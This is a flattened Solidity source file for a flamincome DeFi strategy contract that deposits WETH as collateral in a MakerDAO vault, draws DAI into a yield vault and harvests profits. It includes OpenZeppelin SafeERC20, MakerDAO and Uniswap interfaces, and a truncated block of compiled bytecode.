mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/interfaces/flamincome/Controller.sol pragma solidity ^0.6.2; interface Controller { function strategist() external view returns (address); function vaults(address) external view returns (address); function rewards() external view returns (address); function balanceOf(address) external view returns (uint); function withdraw(address, uint) external; function earn(address, uint) external; } // File: contracts/interfaces/flamincome/Vault.sol pragma solidity ^0.6.2; interface Vault { function token() external view returns (address); function priceE18() external view returns (uint); function deposit(uint) external; function withdraw(uint) external; function depositAll() external; function withdrawAll() external; } // File: contracts/interfaces/external/MakerDAO.sol pragma solidity ^0.6.2; interface IGemLike { function approve(address, uint) external; function transfer(address, uint) external; function transferFrom(address, address, uint) external; function deposit() external payable; function withdraw(uint) external; } interface IManagerLike { function cdpCan(address, uint, address) external view returns (uint); function ilks(uint) external view returns (bytes32); function owns(uint) external view returns (address); function urns(uint) external view returns (address); function vat() external view returns (address); function open(bytes32, address) external returns (uint); function give(uint, address) external; function cdpAllow(uint, address, uint) external; function urnAllow(address, uint) external; function frob(uint, int, int) external; function flux(uint, address, uint) external; function move(uint, address, uint) external; function exit(address, uint, address, uint) external; function quit(uint, address) external; function enter(address, uint) external; function shift(uint, uint) external; } interface IVatLike { function can(address, address) external view returns (uint); function ilks(bytes32) external view returns (uint, uint, uint, uint, uint); function dai(address) external view returns (uint); function urns(bytes32, address) external view returns (uint, uint); function frob(bytes32, address, address, address, int, int) external; function hope(address) external; function move(address, address, uint) external; } interface IGemJoinLike { function dec() external returns (uint); function gem() external returns (IGemLike); function join(address, uint) external payable; function exit(address, uint) external; } interface IGNTJoinLike { function bags(address) external view returns (address); function make(address) external returns (address); } interface IDaiJoinLike { function vat() external returns (IVatLike); function dai() external returns (IGemLike); function join(address, uint) external payable; function exit(address, uint) external; } interface IHopeLike { function hope(address) external; function nope(address) external; } interface IEndLike { function fix(bytes32) external view returns (uint); function cash(bytes32, uint) external; function free(bytes32) external; function pack(uint) external; function skim(bytes32, address) external; } interface IJugLike { function drip(bytes32) external returns (uint); } interface IPotLike { function pie(address) external view returns (uint); function drip() external returns (uint); function join(uint) external; function exit(uint) external; } interface ISpotLike { function ilks(bytes32) external view returns (address, uint); } interface IOSMedianizer { function read() external view returns (uint, bool); function foresight() external view returns (uint, bool); } interface IMedianizer { function read() external view returns (bytes32); function peek() external view returns (bytes32, bool); function poke() external; function compute() external view returns (bytes32, bool); } // File: contracts/interfaces/external/Uniswap.sol pragma solidity ^0.6.2; interface IUniV2 { function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external; } interface UniSwapV1 { function tokenAddress() external view returns (address token); function factoryAddress() external view returns (address factory); function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256); function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold); function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought); function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold); function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold); function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought); function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought); function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold); function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold); function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought); function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought); function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold); function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold); function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought); function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought); function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold); function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function totalSupply() external view returns (uint256); } // File: contracts/implementations/strategy/Strategy_YFI_wETH.sol pragma solidity ^0.6.2; contract Strategy_YFI_wETH { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address constant public token = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public want = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address public cdp_manager = address(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); address public vat = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B); address public mcd_join_eth_a = address(0x2F0b23f53734252Bda2277357e97e1517d6B042A); address public mcd_join_dai = address(0x9759A6Ac90977b93B58547b4A71c78317f391A28); address public mcd_spot = address(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3); address public jug = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1); address public eth_price_oracle = address(0x66d828CF5f39Db5Ab6B30BE8234918f84e008FDf); address constant public fDAI = address(0x163D457fA8247f1A9279B9fa8eF513de116e4327); address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint public c = 20000; uint public c_safe = 30000; uint constant public c_base = 10000; uint public performanceFee = 500; uint constant public performanceMax = 10000; uint public withdrawalFee = 50; uint constant public withdrawalMax = 10000; uint public strategistReward = 5000; uint constant public strategistRewardMax = 10000; bytes32 constant public ilk = "ETH-A"; address public governance; address public controller; address public strategist; address public harvester; uint public cdpId; constructor(address _controller) public { governance = msg.sender; strategist = msg.sender; harvester = msg.sender; controller = _controller; cdpId = IManagerLike(cdp_manager).open(ilk, address(this)); _approveAll(); } function getName() external pure returns (string memory) { return "StrategyMKRVaultDAIDelegate"; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setHarvester(address _harvester) external { require(msg.sender == harvester || msg.sender == governance, "!allowed"); harvester = _harvester; } function setWithdrawalFee(uint _withdrawalFee) external { require(msg.sender == governance, "!governance"); withdrawalFee = _withdrawalFee; } function setPerformanceFee(uint _performanceFee) external { require(msg.sender == governance, "!governance"); performanceFee = _performanceFee; } function setStrategistReward(uint _strategistReward) external { require(msg.sender == governance, "!governance"); strategistReward = _strategistReward; } function setBorrowCollateralizationRatio(uint _c) external { require(msg.sender == governance, "!governance"); c = _c; } function setWithdrawCollateralizationRatio(uint _c_safe) external { require(msg.sender == governance, "!governance"); c_safe = _c_safe; } function setOracle(address _oracle) external { require(msg.sender == governance, "!governance"); eth_price_oracle = _oracle; } // optional function setMCDValue( address _manager, address _ethAdapter, address _daiAdapter, address _spot, address _jug ) external { require(msg.sender == governance, "!governance"); cdp_manager = _manager; vat = IManagerLike(_manager).vat(); mcd_join_eth_a = _ethAdapter; mcd_join_dai = _daiAdapter; mcd_spot = _spot; jug = _jug; } function _approveAll() internal { IERC20(token).approve(mcd_join_eth_a, uint(-1)); IERC20(dai).approve(mcd_join_dai, uint(-1)); IERC20(dai).approve(fDAI, uint(-1)); IERC20(dai).approve(unirouter, uint(-1)); } function deposit() public { uint _token = IERC20(token).balanceOf(address(this)); if (_token > 0) { uint p = _getPrice(); uint _draw = _token.mul(p).mul(c_base).div(c).div(1e18); // approve adapter to use token amount require(_checkDebtCeiling(_draw), "debt ceiling is reached!"); _lockWETHAndDrawDAI(_token, _draw); } // approve fDAI use DAI Vault(fDAI).depositAll(); } function _getPrice() internal view returns (uint p) { (uint _read,) = IOSMedianizer(eth_price_oracle).read(); (uint _foresight,) = IOSMedianizer(eth_price_oracle).foresight(); p = _foresight < _read ? _foresight : _read; } function _checkDebtCeiling(uint _amt) internal view returns (bool) { (,,,uint _line,) = IVatLike(vat).ilks(ilk); uint _debt = getTotalDebtAmount().add(_amt); if (_line.div(1e27) < _debt) { return false; } return true; } function _lockWETHAndDrawDAI(uint wad, uint wadD) internal { address urn = IManagerLike(cdp_manager).urns(cdpId); // IGemJoinLike(mcd_join_eth_a).gem().approve(mcd_join_eth_a, wad); IGemJoinLike(mcd_join_eth_a).join(urn, wad); IManagerLike(cdp_manager).frob(cdpId, toInt(wad), _getDrawDart(urn, wadD)); IManagerLike(cdp_manager).move(cdpId, address(this), wadD.mul(1e27)); if (IVatLike(vat).can(address(this), address(mcd_join_dai)) == 0) { IVatLike(vat).hope(mcd_join_dai); } IDaiJoinLike(mcd_join_dai).exit(address(this), wadD); } function _getDrawDart(address urn, uint wad) internal returns (int dart) { uint rate = IJugLike(jug).drip(ilk); uint _dai = IVatLike(vat).dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (_dai < wad.mul(1e27)) { dart = toInt(wad.mul(1e27).sub(_dai).div(rate)); dart = uint(dart).mul(rate) < wad.mul(1e27) ? dart + 1 : dart; } } function toInt(uint x) internal pure returns (int y) { y = int(x); require(y >= 0, "int-overflow"); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); require(dai != address(_asset), "dai"); require(fDAI != address(_asset), "ydai"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external { require(msg.sender == controller, "!controller"); uint _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(want).safeTransfer(Controller(controller).rewards(), _fee); address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount.sub(_fee)); } function _withdrawSome(uint256 _amount) internal returns (uint) { if (getTotalDebtAmount() != 0 && getmVaultRatio(_amount) < c_safe.mul(1e2)) { uint p = _getPrice(); _wipe(_withdrawDaiLeast(_amount.mul(p).div(1e18))); } _freeWETH(_amount); return _amount; } function _freeWETH(uint wad) internal { IManagerLike(cdp_manager).frob(cdpId, -toInt(wad), 0); IManagerLike(cdp_manager).flux(cdpId, address(this), wad); IGemJoinLike(mcd_join_eth_a).exit(address(this), wad); } function _wipe(uint wad) internal { // wad in DAI address urn = IManagerLike(cdp_manager).urns(cdpId); IDaiJoinLike(mcd_join_dai).join(urn, wad); IManagerLike(cdp_manager).frob(cdpId, 0, _getWipeDart(IVatLike(vat).dai(urn), urn)); } function _getWipeDart( uint _dai, address urn ) internal view returns (int dart) { (, uint rate,,,) = IVatLike(vat).ilks(ilk); (, uint art) = IVatLike(vat).urns(ilk, urn); dart = toInt(_dai / rate); dart = uint(dart) <= art ? - dart : - toInt(art); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); _swap(IERC20(dai).balanceOf(address(this))); balance = IERC20(want).balanceOf(address(this)); address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { Vault(fDAI).withdrawAll(); // get Dai _wipe(getTotalDebtAmount().add(1)); // in case of edge case _freeWETH(balanceOfmVault()); } function balanceOf() public view returns (uint) { return balanceOfWant() .add(balanceOfmVault()); } function balanceOfWant() public view returns (uint) { return IERC20(want).balanceOf(address(this)); } function balanceOfmVault() public view returns (uint) { uint ink; address urnHandler = IManagerLike(cdp_manager).urns(cdpId); (ink,) = IVatLike(vat).urns(ilk, urnHandler); return ink; } function harvest() public { require(msg.sender == strategist || msg.sender == harvester || msg.sender == governance, "!authorized"); uint v = getUnderlyingDai(); uint d = getTotalDebtAmount(); require(v > d, "profit is not realized yet!"); uint profit = v.sub(d); uint _before = IERC20(want).balanceOf(address(this)); _swap(_withdrawDaiMost(profit)); uint _after = IERC20(want).balanceOf(address(this)); uint _want = _after.sub(_before); if (_want > 0) { uint _fee = _want.mul(performanceFee).div(performanceMax); uint _strategistReward = _fee.mul(strategistReward).div(strategistRewardMax); IERC20(want).safeTransfer(strategist, _strategistReward); IERC20(want).safeTransfer(Controller(controller).rewards(), _fee.sub(_strategistReward)); } deposit(); } function shouldDraw() external view returns (bool) { uint _safe = c.mul(1e2); uint _current = getmVaultRatio(0); if (_current > c_base.mul(c_safe).mul(1e2)) { _current = c_base.mul(c_safe).mul(1e2); } return (_current > _safe); } function drawAmount() public view returns (uint) { uint _safe = c.mul(1e2); uint _current = getmVaultRatio(0); if (_current > c_base.mul(c_safe).mul(1e2)) { _current = c_base.mul(c_safe).mul(1e2); } if (_current > _safe) { uint _eth = balanceOfmVault(); uint _diff = _current.sub(_safe); uint _draw = _eth.mul(_diff).div(_safe).mul(c_base).mul(1e2).div(_current); return _draw.mul(_getPrice()).div(1e18); } return 0; } function draw() external { uint _drawD = drawAmount(); if (_drawD > 0) { _lockWETHAndDrawDAI(0, _drawD); Vault(fDAI).depositAll(); } } function shouldRepay() external view returns (bool) { uint _safe = c.mul(1e2); uint _current = getmVaultRatio(0); _current = _current.mul(105).div(100); // 5% buffer to avoid deposit/rebalance loops return (_current < _safe); } function repayAmount() public view returns (uint) { uint _safe = c.mul(1e2); uint _current = getmVaultRatio(0); _current = _current.mul(105).div(100); // 5% buffer to avoid deposit/rebalance loops if (_current < _safe) { uint d = getTotalDebtAmount(); uint diff = _safe.sub(_current); return d.mul(diff).div(_safe); } return 0; } function repay() external { uint free = repayAmount(); if (free > 0) { _wipe(_withdrawDaiLeast(free)); } } function forceRebalance(uint _amount) external { require(msg.sender == governance || msg.sender == strategist || msg.sender == harvester, "!authorized"); _wipe(_withdrawDaiLeast(_amount)); } function getTotalDebtAmount() public view returns (uint) { uint art; uint rate; address urnHandler = IManagerLike(cdp_manager).urns(cdpId); (,art) = IVatLike(vat).urns(ilk, urnHandler); (,rate,,,) = IVatLike(vat).ilks(ilk); return art.mul(rate).div(1e27); } function getmVaultRatio(uint amount) public view returns (uint) { uint spot; // ray uint liquidationRatio; // ray uint denominator = getTotalDebtAmount(); if (denominator == 0) { return uint(-1); } (,,spot,,) = IVatLike(vat).ilks(ilk); (,liquidationRatio) = ISpotLike(mcd_spot).ilks(ilk); uint delayedCPrice = spot.mul(liquidationRatio).div(1e27); // ray uint _balance = balanceOfmVault(); if (_balance < amount) { _balance = 0; } else { _balance = _balance.sub(amount); } uint numerator = _balance.mul(delayedCPrice).div(1e18); // ray return numerator.div(denominator).div(1e3); } function getUnderlyingDai() public view returns (uint) { return IERC20(fDAI).balanceOf(address(this)) .mul(Vault(fDAI).priceE18()) .div(1e18); } function _withdrawDaiMost(uint _amount) internal returns (uint) { uint _shares = _amount .mul(1e18) .div(Vault(fDAI).priceE18()); if (_shares > IERC20(fDAI).balanceOf(address(this))) { _shares = IERC20(fDAI).balanceOf(address(this)); } uint _before = IERC20(dai).balanceOf(address(this)); Vault(fDAI).withdraw(_shares); uint _after = IERC20(dai).balanceOf(address(this)); return _after.sub(_before); } function _withdrawDaiLeast(uint _amount) internal returns (uint) { uint _shares = _amount .mul(1e18) .div(Vault(fDAI).priceE18()) .mul(withdrawalMax) .div(withdrawalMax.sub(withdrawalFee)); if (_shares > IERC20(fDAI).balanceOf(address(this))) { _shares = IERC20(fDAI).balanceOf(address(this)); } uint _before = IERC20(dai).balanceOf(address(this)); Vault(fDAI).withdraw(_shares); uint _after = IERC20(dai).balanceOf(address(this)); return _after.sub(_before); } function _swap(uint _amountIn) internal { address[] memory path = new address[](2); path[0] = address(dai); path[1] = address(want); // approve unirouter to use dai IUniV2(unirouter).swapExactTokensForTokens(_amountIn, 0, path, address(this), now.add(1 days)); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } } // File: contracts/instances/Strategy_YFI_wETHInstrance.sol pragma solidity ^0.6.2; contract Strategy_YFI_wETHInstrance is Strategy_YFI_wETH { constructor() public Strategy_YFI_wETH(address(0xDc03b4900Eff97d997f4B828ae0a45cd48C3b22d)) {} }
0x608060405234801561001057600080fd5b506004361061038d5760003560e01c8063853828b6116101de578063c7b9d5301161010f578063e00c1c3b116100ad578063f4b9fa751161007c578063f4b9fa7514610762578063f77c47911461076a578063f9f42b4f14610772578063fc0c546a1461049c5761038d565b8063e00c1c3b146104ac578063e59e5f681461074a578063ebf661b614610752578063f21444841461075a5761038d565b8063d0efe753116100e9578063d0efe753146106f2578063d5c1ff73146104ac578063d658c6af146106fa578063d7f35550146107425761038d565b8063c7b9d530146106bc578063c7c57c1f146106e2578063d0e30db0146106ea5761038d565b8063ac1e50251161017c578063c392c6f711610156578063c392c6f714610687578063c3da42b8146106a4578063c5ce281e146106ac578063c7321401146106b45761038d565b8063ac1e502514610645578063b6124c7b14610662578063c1a3d44c1461067f5761038d565b806392eefe9b116101b857806392eefe9b146105e95780639832fb4b1461060f578063a280062014610617578063ab033ea91461061f5761038d565b8063853828b6146105d157806387788782146105d95780638bc7e8c4146105e15761038d565b8063402d8883116102c3578063669c62d4116102615780637adbf973116102305780637adbf9731461059b5780637cc79113146104ac5780638158676e146105c157806384718d89146105c95761038d565b8063669c62d41461056657806370897b231461056e578063722713f71461058b578063781eff12146105935761038d565b80634bdaeac11161029d5780634bdaeac11461052857806351cff8d9146105305780635aa6e6751461055657806361880a921461055e5761038d565b8063402d8883146105105780634641257d146105185780634a1a066b146105205761038d565b80631fe4a686116103305780632641e5cd1161030a5780632641e5cd146104ce5780632e1a7d4d146104eb57806336569e77146105085780633fc8cef31461049c5761038d565b80631fe4a686146104a457806325234553146104ac578063257ae0de146104c65761038d565b8063121c1a651161036c578063121c1a65146103d557806315de1daa146103f957806317d7de7c1461041f5780631f1fcd511461049c5761038d565b8062beada4146103925780630d596cdf146103ae5780630eecae21146103cd575b600080fd5b61039a61078f565b604080519115158252519081900360200190f35b6103cb600480360360208110156103c457600080fd5b5035610807565b005b6103cb610859565b6103dd6108e1565b604080516001600160a01b039092168252519081900360200190f35b6103cb6004803603602081101561040f57600080fd5b50356001600160a01b03166108f0565b610427610971565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610461578181015183820152602001610449565b50505050905090810190601f16801561048e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103dd6109a8565b6103dd6109ba565b6104b46109c9565b60408051918252519081900360200190f35b6103dd6109cf565b6103cb600480360360208110156104e457600080fd5b50356109e7565b6103cb6004803603602081101561050157600080fd5b5035610a39565b6103dd610cd9565b6103cb610ce8565b6103cb610d0b565b6104b461100f565b6103dd611015565b6104b46004803603602081101561054657600080fd5b50356001600160a01b0316611024565b6103dd611210565b6104b461121f565b6103dd6112fc565b6103cb6004803603602081101561058457600080fd5b503561130b565b6104b461135d565b6104b461137d565b6103cb600480360360208110156105b157600080fd5b50356001600160a01b0316611539565b6104b46115a8565b6103dd6115ae565b6104b46115bd565b6104b4611801565b6104b4611807565b6103cb600480360360208110156105ff57600080fd5b50356001600160a01b031661180d565b6103dd61187c565b6103dd61188b565b6103cb6004803603602081101561063557600080fd5b50356001600160a01b031661189a565b6103cb6004803603602081101561065b57600080fd5b5035611909565b6103cb6004803603602081101561067857600080fd5b503561195b565b6104b46119ad565b6104b46004803603602081101561069d57600080fd5b5035611a2d565b6104b4611bcf565b6104b4611bd5565b6104b4611be1565b6103cb600480360360208110156106d257600080fd5b50356001600160a01b0316611cee565b6103dd611d5d565b6103cb611d6c565b6104b4611edf565b6103cb600480360360a081101561071057600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013582169160809091013516611f55565b6104b4612080565b6103dd612086565b61039a61209e565b6104b46120e1565b6103dd6121ee565b6103dd612206565b6103cb6004803603602081101561078857600080fd5b5035612215565b6000806107a8606460075461229890919063ffffffff16565b905060006107b66000611a2d565b90506107da60646107d460085461271061229890919063ffffffff16565b90612298565b811115610800576107fd60646107d460085461271061229890919063ffffffff16565b90505b1190505b90565b600c546001600160a01b03163314610854576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b55565b600061086361121f565b905080156108de576108766000826122fa565b73163d457fa8247f1a9279b9fa8ef513de116e43276001600160a01b031663de5f62686040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108c557600080fd5b505af11580156108d9573d6000803e3d6000fd5b505050505b50565b6006546001600160a01b031681565b600f546001600160a01b03163314806109135750600c546001600160a01b031633145b61094f576040805162461bcd60e51b815260206004820152600860248201526708585b1b1bddd95960c21b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60408051808201909152601b81527f53747261746567794d4b525661756c7444414944656c65676174650000000000602082015290565b6000805160206138ed83398151915281565b600e546001600160a01b031681565b61271081565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600c546001600160a01b03163314610a34576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600755565b600d546001600160a01b03163314610a86576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916000805160206138ed833981519152916370a0823191602480820192602092909190829003018186803b158015610ad557600080fd5b505afa158015610ae9573d6000803e3d6000fd5b505050506040513d6020811015610aff57600080fd5b5051905081811015610b2c57610b1d610b18838361265f565b6126a1565b9150610b29828261270a565b91505b6000610b4f612710610b49600a548661229890919063ffffffff16565b90612764565b9050610be4600d60009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b158015610ba257600080fd5b505afa158015610bb6573d6000803e3d6000fd5b505050506040513d6020811015610bcc57600080fd5b50516000805160206138ed83398151915290836127a6565b600d5460408051632988bb9f60e21b81526000805160206138ed833981519152600482015290516000926001600160a01b03169163a622ee7c916024808301926020929190829003018186803b158015610c3d57600080fd5b505afa158015610c51573d6000803e3d6000fd5b505050506040513d6020811015610c6757600080fd5b505190506001600160a01b038116610caf576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b610cd381610cbd868561265f565b6000805160206138ed83398151915291906127a6565b50505050565b6001546001600160a01b031681565b6000610cf2611edf565b905080156108de576108de610d06826127fd565b612b3c565b600e546001600160a01b0316331480610d2e5750600f546001600160a01b031633145b80610d435750600c546001600160a01b031633145b610d82576040805162461bcd60e51b815260206004820152600b60248201526a08585d5d1a1bdc9a5e995960aa1b604482015290519081900360640190fd5b6000610d8c6120e1565b90506000610d9861137d565b9050808211610dee576040805162461bcd60e51b815260206004820152601b60248201527f70726f666974206973206e6f74207265616c697a656420796574210000000000604482015290519081900360640190fd5b6000610dfa838361265f565b604080516370a0823160e01b815230600482015290519192506000916000805160206138ed833981519152916370a08231916024808301926020929190829003018186803b158015610e4b57600080fd5b505afa158015610e5f573d6000803e3d6000fd5b505050506040513d6020811015610e7557600080fd5b50519050610e8a610e8583612d16565b612da7565b604080516370a0823160e01b815230600482015290516000916000805160206138ed833981519152916370a0823191602480820192602092909190829003018186803b158015610ed957600080fd5b505afa158015610eed573d6000803e3d6000fd5b505050506040513d6020811015610f0357600080fd5b505190506000610f13828461265f565b90508015610fff576000610f38612710610b496009548561229890919063ffffffff16565b90506000610f57612710610b49600b548561229890919063ffffffff16565b600e54909150610f80906000805160206138ed833981519152906001600160a01b0316836127a6565b600d54604080516327b16a2560e21b81529051610ffc926001600160a01b031691639ec5a894916004808301926020929190829003018186803b158015610fc657600080fd5b505afa158015610fda573d6000803e3d6000fd5b505050506040513d6020811015610ff057600080fd5b5051610cbd848461265f565b50505b611007611d6c565b505050505050565b60105481565b600f546001600160a01b031681565b600d546000906001600160a01b03163314611074576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b6000805160206138ed8339815191526001600160a01b03831614156110c9576040805162461bcd60e51b815260206004808301919091526024820152631dd85b9d60e21b604482015290519081900360640190fd5b736b175474e89094c44da98b954eedeac495271d0f6001600160a01b0383161415611121576040805162461bcd60e51b815260206004820152600360248201526264616960e81b604482015290519081900360640190fd5b73163d457fa8247f1a9279b9fa8ef513de116e43276001600160a01b038316141561117c576040805162461bcd60e51b815260206004808301919091526024820152637964616960e01b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b5051600d5490915061120b906001600160a01b038481169116836127a6565b919050565b600c546001600160a01b031681565b600080611238606460075461229890919063ffffffff16565b905060006112466000611a2d565b905061126460646107d460085461271061229890919063ffffffff16565b81111561128a5761128760646107d460085461271061229890919063ffffffff16565b90505b818111156112f357600061129c611be1565b905060006112aa838561265f565b905060006112c784610b4960646107d4612710818b858b8b612298565b90506112e7670de0b6b3a7640000610b496112e0612f02565b8490612298565b95505050505050610804565b60009250505090565b6000546001600160a01b031681565b600c546001600160a01b03163314611358576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600955565b600061137861136a611be1565b6113726119ad565b9061270a565b905090565b60008060008060008054906101000a90046001600160a01b03166001600160a01b0316632726b0736010546040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156113dc57600080fd5b505afa1580156113f0573d6000803e3d6000fd5b505050506040513d602081101561140657600080fd5b5051600154604080516309092f9760e21b8152644554482d4160d81b60048201526001600160a01b038085166024830152825194955090921692632424be5c926044808201939291829003018186803b15801561146257600080fd5b505afa158015611476573d6000803e3d6000fd5b505050506040513d604081101561148c57600080fd5b506020015160015460408051636cb1c6